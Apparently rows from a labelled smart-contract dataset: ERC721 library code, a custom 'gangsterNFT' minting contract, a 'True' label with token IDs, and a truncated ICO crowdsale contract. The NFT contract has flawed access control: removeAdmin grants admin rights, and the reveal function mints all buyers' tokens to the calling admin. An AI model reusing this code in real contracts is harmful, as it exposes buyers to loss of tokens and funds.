* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
pragma experimental ABIEncoderV2;
contract gangsterNFT is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter public _tokenIDs;
Counters.Counter public _uriIDs;
struct Item {
uint256 id;
address creator;
string uri;
bool setOpenSea;
}
mapping(uint256 => Item) public Items;
mapping(address => bool) public isAdmin;
mapping(address => bool) public isWhiteListed;
mapping(address => bool) public isTeamListed;
mapping(address => uint256) public tokenCounters;
mapping(uint256 => string) public tokenUris;
address[] teamList;
bool public isSetRevealOpenSea = false;
uint256 private mintAmount = 120000000000000000;
uint256 private mintWhitelistAmount = 100000000000000000;
constructor() ERC721("GANGSTER NFT", "GANSTER") {
}
modifier onlyMinter() {
require(
isAdmin[_msgSender()] ||
owner() == _msgSender() ||
isWhiteListed[_msgSender()],
" caller has no minting right!!!"
);
_;
}
modifier onlyAdmin() {
require(
isAdmin[_msgSender()] || owner() == _msgSender(),
" caller has no minting right!!!"
);
_;
}
function createItem(uint256 amount) public payable returns (uint256) {
require(
isTeamListed[msg.sender] == false,
"You are team member. You have already NFT items."
);
require(_tokenIDs.current() + amount < 10000, "Max mint amount is reached");
if (isTeamListed[msg.sender]) {
require(
tokenCounters[msg.sender] <= 5,
"Team member can only 5 NFT tokens at max"
);
}
if (!isTeamListed[msg.sender]) {
require(
tokenCounters[msg.sender] + amount <= 20,
"Regular member can only 20 NFT tokens at max"
);
if (isWhiteListed[msg.sender]){
require(amount * mintWhitelistAmount <= msg.value, "You sent the incorrect amount of tokens");
}else{
require(amount * mintAmount <= msg.value, "You sent the incorrect amount of tokens");
}
}
for (uint256 i = 0; i < amount; i++) {
_tokenIDs.increment();
uint256 newItemID = _tokenIDs.current();
// _safeMint(msg.sender , newItemID);
Items[newItemID] = Item(
newItemID,
msg.sender,
tokenUris[newItemID],
false
);
tokenCounters[msg.sender] = tokenCounters[msg.sender] + 1;
}
return 1;
}
function createTeamItem(address owner) private returns (uint256) {
for (uint256 i = 0; i < 5; i++) {
require(_tokenIDs.current() < 10000, "Max mint amount is reached");
_tokenIDs.increment();
uint256 newItemID = _tokenIDs.current();
Items[newItemID] = Item(
newItemID,
owner,
tokenUris[newItemID],
false
);
tokenCounters[owner] = tokenCounters[owner] + 1;
}
return 1;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
// require(
// _exists(tokenId),
// "ERC721Metadata: URI query for nonexistent token"
// );
return Items[tokenId].uri;
}
function tokenCreator(uint256 tokenId)
public
view
virtual
returns (address)
{
// require(
// _exists(tokenId),
// "ERC721Metadata: URI query for nonexistent token"
// );
return Items[tokenId].creator;
}
function addAdmin(address adminAddress) public onlyOwner {
require(
adminAddress != address(0),
" admin Address is the zero address"
);
isAdmin[adminAddress] = true;
}
function removeAdmin(address adminAddress) public onlyOwner {
require(
adminAddress != address(0),
" admin Address is the zero address"
);
isAdmin[adminAddress] = true;
}
function whiteListAddress(address userAddress) public onlyAdmin {
require(userAddress != address(0), " userAddress is the zero address");
isWhiteListed[userAddress] = true;
}
function blackListAddress(address userAddress) public onlyAdmin {
require(userAddress != address(0), " userAddress is the zero address");
isAdmin[userAddress] = false;
}
function teamListAddress(address userAddress) public onlyAdmin {
require(userAddress != address(0), " userAddress is the zero address");
isTeamListed[userAddress] = true;
teamList.push(userAddress);
}
function removeTeamListAddress(address userAddress) public onlyAdmin {
require(userAddress != address(0), " userAddress is the zero address");
isTeamListed[userAddress] = false;
}
function setRevealOpenSea() public onlyAdmin {
isSetRevealOpenSea = true;
for (uint256 i = 1; i <= _tokenIDs.current(); i++) {
if (Items[i].setOpenSea == false) {
_safeMint(msg.sender, Items[i].id);
_setTokenURI(Items[i].id, Items[i].uri);
Items[i] = Item(Items[i].id, Items[i].creator, Items[i].uri, true);
}
}
}
function withdraw() public onlyAdmin {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function batchMintTeam() public onlyAdmin {
for (uint256 i = 0; i < teamList.length; i++) {
createTeamItem(teamList[i]);
}
}
function setUri(string[] memory uri) public onlyAdmin {
uint256 newItemID = 0;
for (uint i = 0; i < uri.length; i++) {
_uriIDs.increment();
newItemID = _uriIDs.current();
tokenUris[newItemID] = uri[i];
}
}
function batchTeamListAddress(address[] memory userAddresses) public onlyAdmin {
for (uint i = 0; i < userAddresses.length; i++) {
isTeamListed[userAddresses[i]] = true;
teamList.push(userAddresses[i]);
}
}
function batchWhiteListAddress(address[] memory userAddresses) public onlyAdmin {
for (uint i = 0; i < userAddresses.length; i++) {
isWhiteListed[userAddresses[i]] = true;
}
}
}
|
True
|
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1008,
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3056,
6728,
23237,
1010,
4298,
2437,
8311,
2175,
2058,
1996,
102
] |
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pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier notMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/*
ICO Gap
- Crowdsale goes in 4 steps:
- 1st step PreSale 0: the administrator can issue tokens; purchase and sale are closed; Max. tokens 5 000 000
- 2nd step PreSale 1: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000
- The third step of PreSale 2: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000 + 15 000 000
- 4th step ICO: administrator can not issue tokens; the sale is open; the purchase is open; Max. tokens 5 000 000 + 10 000 000 + 15 000 000 + 30 000 000
Addition:
- Total emissions are limited: 100,000,000 tokens
- at each step it is possible to change the price of the token
- the steps are not limited in time and the step change is made by the nextStep administrator
- funds are accumulated on a contract basis
- at any time closeCrowdsale can be called: the funds and management of the token are transferred to the beneficiary; the release of + 65% of tokens to the beneficiary; minting closes
- at any time, refundCrowdsale can be called: funds remain on the contract; withdraw becomes unavailable; there is an opportunity to get refund
- transfer of tokens before closeCrowdsale is unavailable
- you can buy no more than 500 000 tokens for 1 purse.
*/
contract Token is CappedToken, BurnableToken {
function Token() CappedToken(100000000 * 1 ether) StandardToken("GAP Token", "GAP", 18) public {
}
function transfer(address _to, uint256 _value) notMint public returns(bool) {
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) notMint public returns(bool) {
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) notMint public returns(bool) {
return super.transferFrom(_from, _to, _value);
}
function burnOwner(address _from, uint256 _value) onlyOwner canMint public {
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
contract Crowdsale is Pausable {
using SafeMath for uint;
struct Step {
uint priceTokenWei;
uint tokensForSale;
uint tokensSold;
uint collectedWei;
bool purchase;
bool issue;
bool sale;
}
Token public token;
address public beneficiary = 0x4B97b2938844A775538eF0b75F08648C4BD6fFFA;
Step[] public steps;
uint8 public currentStep = 0;
bool public crowdsaleClosed = false;
bool public crowdsaleRefund = false;
uint public refundedWei;
mapping(address => uint256) public canSell;
mapping(address => uint256) public purchaseBalances;
event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Issue(address indexed holder, uint256 tokenAmount);
event Refund(address indexed holder, uint256 etherAmount);
event NextStep(uint8 step);
event CrowdsaleClose();
event CrowdsaleRefund();
function Crowdsale() public {
token = new Token();
steps.push(Step(1 ether / 1000, 5000000 * 1 ether, 0, 0, false, true, false));
steps.push(Step(1 ether / 1000, 10000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 500, 15000000 * 1 ether, 0, 0, true, false, false));
steps.push(Step(1 ether / 100, 30000000 * 1 ether, 0, 0, true, false, true));
}
function() payable public {
purchase();
}
function setTokenRate(uint _value) onlyOwner whenPaused public {
require(!crowdsaleClosed);
steps[currentStep].priceTokenWei = 1 ether / _value;
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
require(msg.value >= 0.001 ether);
Step memory step = steps[currentStep];
require(step.purchase);
require(step.tokensSold < step.tokensForSale);
require(token.balanceOf(msg.sender) < 500000 ether);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(step.priceTokenWei);
uint retSum = 0;
uint retAmount;
if(step.tokensSold.add(amount) > step.tokensForSale) {
retAmount = step.tokensSold.add(amount).sub(step.tokensForSale);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
if(token.balanceOf(msg.sender).add(amount) > 500000 ether) {
retAmount = token.balanceOf(msg.sender).add(amount).sub(500000 ether);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
steps[currentStep].tokensSold = step.tokensSold.add(amount);
